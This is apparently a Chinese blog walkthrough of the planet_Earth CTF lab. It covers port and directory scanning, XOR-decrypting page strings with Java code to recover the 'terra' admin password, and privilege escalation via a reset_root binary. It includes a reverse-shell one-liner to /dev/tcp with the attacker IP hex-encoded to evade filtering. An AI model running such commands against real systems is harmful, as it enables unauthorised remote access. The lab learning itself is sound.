planet_Earth 靶场渗透记录

一、线索资料

1、拿到靶机IP

还从一个逗比那里学了一招,windows中cmd

arp -a //也可以拿到靶机IP,前提是两者有交互

A B
Kali
192.168.56.128 192.168.56.130
用户名密码未知

二、渗透开始

1、日常扫端口

nmap -sV -sS -A -T5 -p- 192.168.56.130
-sV:用来扫描目标主机和端口上运行的软件的版本.它不同于其它的扫描技术,它不是用来扫描目标主机上开放的端口,不过它需要从开放的端口获取信息来判断软件的版本.使用版本检测扫描之前需要先用TCPSYN扫描开放了哪些端口。-sS:将通过向每个端口发送单个SYN数据包来完成-A:此选项设置包含了1-10000的端口ping扫描,操作系统扫描,脚本扫描,路由跟踪,服务探测。-T5:优化时间控制选项的功能很强大也很有效,但有些用户会被迷惑。此外, 往往选择合适参数的时间超过了所需优化的扫描时间。因此,Nmap提供了一些简单的 方法,使用6个时间模板,使用时采用-T选项及数字(0 - 5) 或名称。模板名称有paranoid (0)、sneaky (1)、polite (2)、normal(3)、 aggressive (4)和insane (5)paranoid、sneaky模式用于IDS躲避
Polite模式降低了扫描 速度以使用更少的带宽和目标主机资源。
Normal为默认模式,因此-T3 实际上是未做任何优化。
Aggressive模式假设用户具有合适及可靠的网络从而加速 扫描.
nsane模式假设用户具有特别快的网络或者愿意为获得速度而牺牲准确性。
-p-:扫描所有端口

可以发现开放端口 为 22,80,443

发现事情又没那么简单,80显示400 / 443 显示Bad Request

2、修改DNS

发现上面端口扫描信息,有DNS设置,因为本机作为测试,为windows系统,所以去修改了windows 的DNS

打开hosts文件

顺利打开网页,两个打开一样的页面,下面有3条貌似时加密的字符串

输入框,XSS尝试未成功

3、日常扫目录

两个网址扫出来一样的结果,尝试一下这个admin

是个登录框,先尝试一波sql注入

sqlmap 扫了一遍,也未成功,sql注入失败~

重新打开网页,发现多了好多字符串

应该跟之前的注入有关系

貌似没啥办法,尝试之前扫出来的 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ,看看这是什么

不能访问=。=||||

搜索了下攻略,发现前面扫目录少扫https,因为有443端口,所以https协议也有使用到!重新扫了一下

果然少了2个东西,index.html 和 rebots.txt , 看一下这个rebots.txt

藏了东西,一堆拒绝的后缀名,应该是拒绝上传的文件类型,但是最后一个貌似长得不一样,试一下

发现txt格式可以打开,发现一堆提示信息,翻译过来大概是:

测试安全消息系统注意事项:

*使用XOR加密作为算法,应该与RSA中使用的一样安全。

*地球已确认他们已收到我们发送的信息。

*测试数据。txt用于测试加密。

*terra用作管理门户的用户名。

托多:

*我们如何将每月的钥匙安全地发送到地球?或者我们应该每周更换钥匙?

*需要测试不同的密钥长度以防止暴力。钥匙应该有多长?

*需要改进消息接口和管理面板的界面,这是目前非常基本的。

得到有用信息:

  • terra 为管理门户用户名
  • XOR算法加密
  • testdata.txt 用作加密测试

应该算是拿到用户名了,但是密码暂时不知,XOR算法加密,XOR是啥都不知道~~ =。=|||,突然想起来首页有3串加密的字符串,估计和那个有关,先搜索一下XOR加密相关信息

原来是异或运算,重新那会那三条加密字符串

  • 37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40

  • 3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45

  • 2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

先打开用作测试加密的testdata.txt

又是一串提示信息,翻译

根据放射性年代测定和其他证据,地球形成于45亿年前。在地球历史的最初10亿年里,海洋中出现了生命,并开始影响地球的大气层和表面,导致厌氧生物和后来的需氧生物的扩散。一些地质证据表明,生命可能早在41亿年前就已经出现了。

搁这讲背景故事呢~~ 0.0

百度了下,发现XOR解密需要密钥,这可咋整~~~

百度了几个小时,终于搞定了,大概流程是,用上面这串背景故事内容,转为16进制,和上面的加密字符串进行XOR运算,一开始全是乱码,后面换了好多方法,终于搞定,大神代码存下来,以免下次再用

public class Test23 {private static String hexStr = "0123456789ABCDEF";public static void main(String args[]) throws ParseException {String s1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a";String s2 = "4163636f7264696e6720746f20726164696f6d657472696320646174696e6720657374696d6174696f6e20616e64206f746865722065766964656e63652c20456172746820666f726d6564206f76657220342e352062696c6c696f6e2079656172732061676f2e2057697468696e207468652066697273742062696c6c696f6e207965617273206f66204561727468277320686973746f72792c206c69666520617070656172656420696e20746865206f6365616e7320616e6420626567616e20746f2061666665637420456172746827732061746d6f73706865726520616e6420737572666163652c206c656164696e6720746f207468652070726f6c696665726174696f6e206f6620616e6165726f62696320616e642c206c617465722c206165726f626963206f7267616e69736d732e20536f6d652067656f6c6f676963616c2065766964656e636520696e646963617465732074686174206c696665206d617920686176652061726973656e206173206561726c7920617320342e312062696c6c696f6e2079656172732061676f2e";
//            String code1 = encode(s1);
//            String code2 = encode(s2);String code1 = s1;String code2 = s2;System.out.println(code1);System.out.println(code2);
//            System.out.println("7F0C1D14017903767F6814010203");String result ="";for(int i=0; i<code1.length();i++){char c1 = code1.charAt(i);char c2 = code2.charAt(i);String a = convertHexToBinary(c1+"");String b = convertHexToBinary(c2+"");byte [] aa = a.getBytes();byte [] bb = b.getBytes();String cc ="";for( int j = 0;j<aa.length;j++ ){cc += aa[j]^bb[j];}String tmp =Integer.toHexString(Integer.valueOf(cc,2).intValue()).toString();result +=tmp;}System.out.println(result);}public static String convertHexToBinary(String hexString){long l = Long.parseLong(hexString, 16);String binaryString = Long.toBinaryString(l);int shouldBinaryLen = hexString.length()*4;StringBuffer addZero = new StringBuffer();int addZeroNum = shouldBinaryLen-binaryString.length();for(int i=1;i<=addZeroNum;i++){addZero.append("0");}return addZero.toString()+binaryString;}public static String encode(String str) {// 根据默认编码获取字节数组byte[] bytes = str.getBytes();String strs = "";
// 将字节数组中每个字节拆解成2位16进制整数for (int i = 0; i < bytes.length; i++) {//取得高四位strs += hexStr.charAt((bytes[i] & 0xf0) >> 4);
// System.out.println(i+"--"+bytes[i]+"----"+(bytes[i] & 0xf0)+"----"+hexString.charAt((bytes[i] & 0xf0) >> 4)+"---"+hexString.charAt((bytes[i] & 0x0f) >> 0));
//取得低四位strs += hexStr.charAt((bytes[i] & 0x0f) >> 0);}return strs;}}

s1是上面第三个加密字符串,s2是我直接网页转换背景故事内容的16进制字符串,下面一系列方法都是XOR运算

得到结果:

6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174

再转为字符串

 protected static byte[] decodeHex(char[] data) {int len = data.length;if ((len & 0x01) != 0) {throw new RuntimeException("字符个数应该为偶数");}byte[] out = new byte[len >> 1];for (int i = 0, j = 0; j < len; i++) {int f = toDigit(data[j], j) << 4;j++;f |= toDigit(data[j], j);j++;out[i] = (byte) (f & 0xFF);}return out;}
protected static int toDigit(char ch, int index) {int digit = Character.digit(ch, 16);if (digit == -1) {throw new RuntimeException("Illegal hexadecimal character " + ch + " at index " + index);}return digit;}

最终得到结果为:

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

可以发现是earthclimatechangebad4humans一直在重复,拿着上面用户名terra 和此密码尝试登录

登录成功!第二把旗已拿到,剩下提权

4、提权

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pM1L0kLn-1664626064862)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20221001184220130.png)]

可以发现,此处可以正常执行linux 命令

查找了一波flag,有一个

应该是flag了,cat一下

第一把旗!!

和上个靶场一样,搜索可root可执行文件

reset_root 重置root,应该就是它了! 执行一下

发现报错,看一下里面的命令

看不出来哪里有问题,得拿到运行报错信息

kali nc瑞士军刀监听拿到此文件执行的信息

nc 5678端口监听

靶机运行一直没有反应,因为靶机上没有nc,所有nc命令无效,kali这边自然接收不到,

这地方踩坑,需要先反弹shell命令

bash -i >& /dev/tcp/0xc0.0xa8.0x38.0x80/1234 0>&1 (ip为192.168.56.128转为16进制,防止命令屏蔽)改命令转移shell到kali上,再来一次

kali nc 监听

kali 已经接收到reset_root文件,strace 检查一下

再踩坑,权限拒绝 …百度!

权限不足的原因,chmod 加权限,strace 成功执行

chmod是权限管理命令change the permissions mode of a file的缩写。
u代表所有者。x代表执行权限。’+’ 表示增加权限。
chmod u+x file.sh 就表示对当前目录下的file.sh文件的所有者增加可执行权限。

问题再 没有这3个文件,所以失败,创建这三个文件

在strace执行发现,没有报错

发现root密码改为了Earth,没有问题了,相同操作去靶机做一遍就可以了

成功提权!

四、渗透结束

planet_Earth靶场渗透记录相关推荐

  1. 西域大都护府 第四期cfs靶场 渗透记录

    西域大都护府 第四期cfs靶场 渗透记录 1.DEDECMS 2.二层探测+转发 2.1 tomcat 2.2 shiro 2.3 weblogic 3.第三层 3.1 mysql 3.2 Smb 官 ...

  2. 小白渗透0-1:BlackMarket靶场渗透记录

    小白渗透0-1:BlackMarket靶场渗透记录 #环境 攻击机:kali 192.168.200.129 靶 机:BlackMarket 链接:https://pan.baidu.com/s/1S ...

  3. DeathNote 靶场渗透记录

    DeathNote 靶场渗透记录 一.ip 1.攻击机:Kali ip:192.168.142.128 ​ 靶机:? ip:192.168.56.138 二.日常扫端口 开放端口 22 和 80 ,老 ...

  4. EMPIRE_BREAKOUT_ 靶场渗透记录

    EMPIRE_BREAKOUT_ 靶场渗透记录 一.ip 1.攻击机:Kali ip:192.168.142.128 ​ 靶机:? ip:192.168.56.133 二.开始渗透 1.日常扫端口 开 ...

  5. vulnhub靶场——BREACH: 1 渗透记录

    BREACH: 1 vulnhub靶场--BREACH: 1 渗透记录 BREACH: 1 一.信息搜集 二.网站渗透 1.流量包 2.tomcat 三.提权 反弹root的shell BREACH: ...

  6. Pikachu靶场通关记录(详细)

    Pikachu靶场通关记录 0x01 靶场介绍 Pikachu是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞. 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么 ...

  7. 【网络安全】2022年第一次靶场渗透实战学习

    一.介绍 渗透测试是通过模拟黑客或者骇客攻击,以评估计算机系统或者网络环境安全性的技术:主要的目的是进行安全性的评估,而不是摧毁或者破坏目标系统. 渗透测试所需要的基础技能必须有网络基础.编程基础.数 ...

  8. Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)

    Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权) 靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/ 下载将其导入VMware ...

  9. Vulnhub靶场渗透测试系列DC-7(跳出框框打开脑洞 drush更改drupal的admin账户密码)

    Vulnhub靶场渗透测试系列DC-7(跳出框框打开脑洞 drush更改drupal的admin账户密码) 靶机下载地址:https://www.vulnhub.com/entry/dc-7,356/ ...

最新文章

  1. 视音频技术零基础学习方法
  2. C++中的string 类型占几个字节
  3. boost源码剖析之:泛型指针类any之海纳百川(rev#2)
  4. 【技术综述】深度学习中的数据增强(下)
  5. java 微信多媒体文件_java微信开发之上传下载多媒体文件
  6. spark-on-yarn日志配置
  7. python使用elasticsearch_python中使用ElasticSearch(二)
  8. 【Python】mayavi小结
  9. 为什么c语言2的n次方减一,计算2的N次方........有什么错吗?
  10. matlab 矩阵逻辑与,MATLAB之逻辑
  11. c语言设计一个酒店管理系统,C语言酒店管理系统设计.docx
  12. linux查看ipv6 dns,云解析DNS IPv6
  13. JAVA 面试 知识点整理
  14. win10 - 淡绿色护眼背景(注册表)
  15. net-snmp开发代理常见问题解决方案
  16. CSS实现的带头像的彩色垂直菜单源码
  17. allegro如何删除没有网络的走线,查还没有连的网络线
  18. python pandas 数据分析-读取csv excel
  19. HTML5特别篇——代码规范(2)
  20. 建造者模式——KFC点餐系统

热门文章

  1. 美国在PC处理器市场的垄断被ARM打破,国产处理器也取得了突破
  2. 电子书管理软件Calibre
  3. React 基础学习
  4. 汽车电子之功能安全介绍
  5. TSC打印机打印条形码和二维码,applet实现方式
  6. nvm: node版本管理器[使用教程]
  7. 中国石油大学《混凝土》第二阶段在线作业
  8. java imgui,发布使用 IMGui 基于 msys2 平台编写的软件
  9. 计算机应用对字数的要求,信息系统项目管理师考试论文字数要求是多少,没达标会扣多少分...
  10. CSGO开箱C++小程序。(229行)